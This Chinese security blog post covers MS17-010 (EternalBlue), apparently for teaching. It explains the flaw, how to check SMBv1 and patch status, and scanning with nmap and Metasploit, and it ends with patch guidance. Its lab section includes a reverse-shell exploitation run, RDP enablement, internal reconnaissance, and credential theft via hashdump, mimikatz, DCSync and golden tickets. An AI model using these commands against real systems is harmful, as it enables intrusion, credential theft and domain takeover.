ms017-010漏洞扫描及安全检查

admin 2025年6月10日15:29:21评论15 views字数 4642阅读15分28秒阅读模式

1.1ms017-010简介

MS17-010是微软于2017年3月发布的重要安全补丁,修复了SMBv1协议中一个严重远程代码执行漏洞,MS17-010被微软评为Critical(严重)级别。2017年4月,影子经纪人(Shadow Brokers)泄露的NSA武器库中包含该漏洞利用工具“EternalBlue”。一个月后(2017年5月),基于EternalBlue传播的WannaCry勒索病毒全球大爆发。WannaCry勒索病毒会加密用户文件,感染了包括医院、政府机构、企业在内的全球数十万台电脑,造成数百亿美元的直接和间接经济损失,是网络安全史上的标志性事件。紧随WannaCry之后爆发的更具破坏性的恶意软件NotPetya/ExPetr,同样利用MS17-010在内网快速传播,主要目的是破坏数据而非勒索,给全球大型企业(如马士基、默克)造成灾难性打击。

1.1.1漏洞本质与成因

核心缺陷:MS17-010漏洞本质是Windows SMBv1服务器协议驱动(srv.sys)中存在的远程代码执行(RCE)漏洞。

具体原因:漏洞源于SMBv1处理特殊构造的SMB_COM_TRANSACTION2次级命令FEALIST(File ExtendedAttribute LIST)请求时,一个名为srv!SrvOs2FeaListSizeToNt的内核函数存在关键逻辑错误。该函数在将客户端请求中的FEALIST数据结构从OS/2格式转换为Windows NT格式时,未能正确验证其大小。攻击者可以发送一个精心构造的、超长的畸形FEALIST请求。由于缺乏有效的边界检查,会导致内核缓冲区溢出(BufferOverflow)。

利用后果:成功利用此缓冲区溢出漏洞,攻击者能够在目标系统的内核模式(Ring0)下执行任意代码。这等同于获得目标系统的完全控制权(SYSTEM权限),无需任何用户交互或认证。

1.1.2.与SMBv1协议的绝对关联

协议依赖:该漏洞仅存在于SMBv1(Server Message Block Version1)协议的实现中。后续版本 SMBv2(2006年引入)和SMBv3(2012年引入)不受此特定漏洞影响。

利用途径:攻击者通过向目标主机的TCP445端口发送恶意的SMBv1协议数据包来触发漏洞。445端口是Windows文件共享和打印机共享服务的默认端口。

必要条件:目标系统必须启用了SMBv1协议且未安装MS17-010安全更新。

1.1.3.SMBv1协议的状态查看与管理

1.默认启用状态因版本而异

WindowsXP/Vista/7/8/8.1/Server2003/2008/2008 R2/2012/2012 R2:这些较老版本的系统默认安装并启用SMBv1客户端和服务器组件。

Windows10(从1709版本开始)/WindowsServer2016&2019/Windows11:微软出于安全考虑,默认仅安装SMBv1客户端组件(用于访问旧NAS/设备),而SMBv1服务器组件默认是禁用的。这是新系统“不自带”可利用状态SMBv1服务的主要原因。

2.通过powershell查看SMBv1状态

(1)通过powershell查看SMBv1客户端状态

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol-Client

ms017-010漏洞扫描及安全检查

(1)通过powershell查看SMBv1服务器状态

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol-Server

ms017-010漏洞扫描及安全检查

输出中的State字段显示Enabled或Disabled。

3.通过控制面板查看

(1)打开“控制面板”->“程序”->“启用或关闭Windows功能”。以Windows11为例,默认是关闭的。

ms017-010漏洞扫描及安全检查

(2)在列表中找到SMB1.0/CIFS文件共享支持。勾选状态表示已安装(可能是客户端、服务器或两者)。

  • SMB1.0/CIFS客户端:访问其他SMBv1共享所需。
  • SMB1.0/CIFS服务器:允许其他设备通过SMBv1访问本机共享(MS17-010利用所需组件)。

4.命令提示符

sc.exe query lanmanworkstation

ms017-010漏洞扫描及安全检查

reg query "HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters" /v 

ms017-010漏洞扫描及安全检查

SMB1值为0表示服务器端禁用(通常),值为0x1表示启用。

1.2ms017-010漏洞扫描及确认

系统版本补丁号

KB4012598

KB4012212/KB4012215

KB4012213/KB4012216

Windows XP

适用

Windows 7

适用

Windows 2003

适用

Windows 2008

适用

Windows 2008R2

适用

Windows 2012R2

适用

1.2.1Windows补丁更新情况

1.搜索 KB4012212补丁更新情况

MS17-010 漏洞的官方修复补丁是 KB4012212。登录 Windows Server 2008,打开“控制面板” → “程序” → “查看已安装的更新”搜索以下补丁:KB4012212(针对 MS17-010 的修复补丁)。如果已安装,表示漏洞已修复;如果未安装,表示可能存在漏洞。

ms017-010漏洞扫描及安全检查

1.2.1利用msf中的模块扫描ms17-010

1.单机检测

use auxiliary/scanner/smb/smb_ms17_010

show options 

set rhost 192.168.199.131

set rport 445

run

ms017-010漏洞扫描及安全检查

2.c段扫描

如果是基于某c段扫描可以这样设置

set RHOSTS 192.168.1.0/24

set RHOSTS 192.168.2.0/24

ms017-010漏洞扫描及安全检查

1.2.2利用nmap进行扫描

nmap --script=smb-vuln-ms17-010 -p 445 <目标IP>

nmap --script=smb-vuln-ms17-010 -p 445 192.168.199.131

ms017-010漏洞扫描及安全检查

如果存在漏洞则会显示如下信息。

ms017-010漏洞扫描及安全检查

有时候可以先确认445端口是否开放

nmap   -Pn 445 192.168.199.131

1.3ms017-010漏洞利用

靶场环境

Windows Server 2008: https://drive.google.com/drive/u/0/folders/19ua9-TqJHEouytTjlxl2iCUYewcjLzVN

password: MS17-010-Exploit-Lab

Administrator/H0opla!

1.3.1搜索ms017-010漏洞

1.获取ms017-010漏洞相关信息

msfconsole

search ms17-010

ms017-010漏洞扫描及安全检查

2.漏洞扫描

靶场IP地址:192.168.199.135

use auxiliary/scanner/smb/smb_ms17_010

set rhosts 192.168.199.135

run

ms017-010漏洞扫描及安全检查

3.利用漏洞获取Shell

use exploit/windows/smb/ms17_010_eternalblue  # 加载攻击模块

set RHOSTS 192.168.199.135                    # 目标IP

set LHOST 192.168.199.128                     # Kali攻击机IP(接收反弹Shell)

set payload windows/x64/meterpreter/reverse_tcp  # 设置Payload(推荐x64)

run                                           # 执行攻击

ms017-010漏洞扫描及安全检查

4.其他可利用

(1)使用psexec模块

use exploit/windows/smb/ms17_010_psexec

set RHOSTS 192.168.199.135

run

ms017-010漏洞扫描及安全检查
ms017-010漏洞扫描及安全检查

(2)直接执行命令

use auxiliary/admin/smb/ms17_010_command

set RHOSTS 192.168.199.135

set COMMAND net user

show options

run

ms017-010漏洞扫描及安全检查

1.3.2利用ms17-010后渗透

1.开启远程桌面

修改注册表:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 开启 RDP。

添加防火墙例外规则:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 允许 3389 端口入站。

2.内网信息收集

ipconfig /all: 获取本机 IP、网关、DNS 等关键网络配置。

arp -a: 查看 ARP 缓存,发现同一网段活跃主机。

net view: 查看同一域或工作组内的其他主机。

3.主机信息收集

systeminfo: 获取系统详细信息(OS版本、补丁、安装时间等),用于评估价值、寻找其他漏洞。

whoami /priv: 查看当前用户权限,寻找提权机会(如 SeDebugPrivilege 可用于注入进程)。

net user / net user [username] / net localgroup administrators: 查看本地用户和组,特别是管理员组成员。

net share: 查看共享资源。

netstat -ano: 查看网络连接和监听端口,发现内部服务、与其他主机的连接。

tasklist /svc / tasklist: 查看运行进程及服务,寻找高权限进程或安全软件。

query user: 查看当前登录用户(用于判断是否有人值守)。

4.域环境探测

net group "domain computers" /domain: 列出域内所有计算机(需要域权限)。

net group "domain admins" /domain: 列出域管理员组成员(关键目标)。

net group "domain controllers" /domain: 定位域控制器。

nltest /dclist:[domainname]: 查询域控制器列表。

dsquery 命令(如果可用):更强大的 Active Directory 查询工具。

5.hashdump获取密码哈希

hashdump

ms017-010漏洞扫描及安全检查

6.使用kiwi模块获取凭证

(1)加载kiwi模块

load kiwi

ms017-010漏洞扫描及安全检查

(2)列举所有明文密码、哈希等 

creds_all 

ms017-010漏洞扫描及安全检查

(3)列举 Kerberos 凭据

creds_kerberos

ms017-010漏洞扫描及安全检查

(4)列举 MSV 缓存凭据

creds_msv

ms017-010漏洞扫描及安全检查

(5)明文密码

creds_wdigest

ms017-010漏洞扫描及安全检查

(6)通过 DCSync 获取域用户哈希

dcsync_ntlm <域名>

(7)创建黄金票据(Golden Ticket)

golden_ticket_create -d <域名> -u <用户名> -s <NTLM哈希> -k

(8)执行 Mimikatz 原生命令

# 通过 kiwi_cmd 执行 Mimikatz 命令

kiwi_cmd sekurlsa::logonpasswords

ms017-010漏洞扫描及安全检查

1.4漏洞补丁更新

目前网上提供补丁下载的基本找不到了,通过查找资料获取微软提供补丁更新的地址:

https://catalog.update.microsoft.com/Search.aspx?q=kb4012212

ms017-010漏洞扫描及安全检查

可以针对不同的操作系统进行补丁升级即可。

原文始发于微信公众号(小兵搞安全):ms017-010漏洞扫描及安全检查

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月10日15:29:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ms017-010漏洞扫描及安全检查https://cn-sec.com/archives/4152639.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息